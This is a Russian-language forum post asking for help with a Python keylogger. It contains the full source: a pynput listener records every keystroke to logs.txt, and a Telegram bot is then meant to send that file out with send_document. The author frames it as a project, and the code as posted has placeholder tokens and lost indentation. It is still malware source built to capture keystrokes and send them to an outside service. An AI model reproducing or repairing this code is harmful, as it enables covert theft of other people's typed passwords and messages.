Создал keylogger (для проекта) и решил сделать отправку файла через телеграм бота, но почемуто программа не работает, помогите.
import pynput
from pynput.keyboard import Key, Listener
import telebot
token = 'тут токен'
bot = telebot.TeleBot(token)
class Keylogger:
def __init__(self):
self.count = 0
self.keys = []
def on_press(self, key):
print(f"{key} pressed")
self.keys.append(key)
self.count += 1
if self.count >= 10:
self.write_file(self.keys)
self.keys = []
def on_release(self, key):
if key == Key.esc:
return False
def write_file(self, keys):
with open("logs.txt", "a") as file:
for key in self.keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
file.write("\n")
elif k.find("Key") == -1:
file.write(k)
if __name__ == "__main__":
obj = Keylogger()
with Listener(on_press = obj.on_press, on_release = obj.on_release) as listener:
listener.join()
doc = 'C:\Users\iliab\OneDrive\Рабочий стол\Portfolio\KeyLogger\logs.txt'
bot.send_document(тут мой токен, doc)